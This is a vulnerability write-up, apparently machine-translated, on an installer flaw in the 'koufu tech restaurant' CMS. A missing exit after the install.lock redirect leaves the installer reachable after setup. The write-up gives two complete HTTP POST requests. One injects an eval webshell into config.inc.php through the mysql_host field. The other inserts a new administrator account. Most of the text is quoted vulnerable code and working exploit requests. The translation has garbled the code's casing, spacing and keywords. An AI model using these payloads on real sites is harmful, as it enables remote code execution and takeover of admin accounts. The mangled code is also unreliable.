Cms vulnerability in koufu tech restaurant (getshell)

The problem lies in the/install/index. php file. After the program is installed, the install. lock file is generated in the root directory of the program. /Install/index. php has an error in determining whether install. lock exists.
<? Php
If (file_exists ("../install. lock "))
{
Header ("Location: ../"); // No Exit
}

// Echo 'tst'; exit;
Require_once ("init. php ");
If (empty ($ _ REQUEST ['step']) | $ _ REQUEST ['step'] = 1)
{
It can be seen that when/install/index. php exists, the header does not exit after 302 redirection, that is, the following logic will still be executed. At least two vulnerabilities can be generated here.

1. getshell (dangerous)
If (empty ($ _ REQUEST ['step']) | $ _ REQUEST ['step'] = 1)
{
$ Smarty-> assign ("step", 1 );
$ Smarty-> display ("index.html ");
} Elseif ($ _ REQUEST ['step'] = 2)
{
$ Mysql_host = trim ($ _ POST ['mysql _ host']);
$ Mysql_user = trim ($ _ POST ['mysql _ user']);
$ Mysql_pwd = trim ($ _ POST ['mysql _ pwd']);
$ Mysql_db = trim ($ _ POST ['mysql _ db']);
$ Tblpre = trim ($ _ POST ['tblpre']);
$ Domain = trim ($ _ POST ['domain ']);
$ Str = "<? Php \ r \ n ";
$ Str. = 'fine ("MYSQL_HOST", "'. $ mysql_host.'"); '. "\ r \ n ";
$ Str. = 'fine ("MYSQL_USER", "'. $ mysql_user.'"); '. "\ r \ n ";
$ Str. = 'fine ("MYSQL_PWD", "'. $ mysql_pwd.'"); '. "\ r \ n ";
$ Str. = 'fine ("MYSQL_DB", "'. $ mysql_db.'"); '. "\ r \ n ";
$ Str. = 'fine ("MYSQL_CHARSET", "GBK"); '. "\ r \ n ";
$ Str. = 'fine ("TABLE_PRE", "'. $ tblpre.'"); '. "\ r \ n ";
$ Str. = 'fine ("DOMAIN", "'. $ domain.'"); '. "\ r \ n ";
$ Str. = 'fine ("SKINS", "default"); '. "\ r \ n ";
$ Str. = '?> ';
File_put_contents ("../config. inc. php", $ str); // write the submitted data to the php file.
The above Code directly writes the POST data to the./config. inc. php file. Then we can submit the following POST package to obtain a one-sentence Trojan.
POST/canting/install/index. php? M = index & step = 2 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv: 17.0) Gecko/17.0 Firefox/17.0
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3
Accept-Encoding: gzip, deflate
Referer: http: // 192.168.80.129/canting/install/index. php? Step = 1
Cookie: ck_ss_id = 1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID = djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

Mysql_host = test "); @ eval ($ _ POST [x]);?> // & Mysql_user = 1 & mysql_pwd = 2 & mysql_db = 3 & tblpre = koufu _ & domain = www & button = % CF % C2 % D2 % BB % B2 % BD
However, this method is dangerous and may cause the website to fail to run.

2. directly add an administrator

Elseif ($ _ REQUEST ['step'] = 5)
{
If ($ _ POST)
{Require_once ("../config. inc. php ");
$ Link = mysql_connect (MYSQL_HOST, MYSQL_USER, MYSQL_PWD );
Mysql_select_db (MYSQL_DB, $ link );
Mysql_query ("set names". MYSQL_CHARSET );
Mysql_query ("SET SQL _mode = ''");
$ Adminname = trim ($ _ POST ['adminname']);
$ Pwd1 = trim ($ _ POST ['pwd1 ']);
$ Pwd2 = trim ($ _ POST ['pwd2 ']);
If (empty ($ adminname ))
{
Echo "<script> alert ('administrator cannot be blank '); history. go (-1); </script> ";
Exit ();
}
If ($ pwd1! = $ Pwd2) or empty ($ pwd1 ))
{
Echo "<script> alert (the two passwords are inconsistent); history. go (-1); </script>"; // No Exit
}
Mysql_query ("insert ". TABLE_PRE. "admin (adminname, password, isfounder) values ('$ adminname ','". umd5 ($ pwd1 ). "', 1)"); // you can insert an administrator directly.
}
In this way, we can directly insert a qingshen/qingshen administrator account. The statement is as follows:
POST/canting/install/index. php? M = index & step = 5 HTTP/1.1
Host: 192.168.80.129
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv: 17.0) Gecko/17.0 Firefox/17.0
Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8
Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3
Accept-Encoding: gzip, deflate
Referer: http://www.bkjia.com/canting/install/index. php? Step = 1
Cookie: ck_ss_id = 1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID = djfa6ggefdifvoa3kvhi61sc42
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

Adminname = qingshen & pwd1 = qingshen & pwd2 = qingshen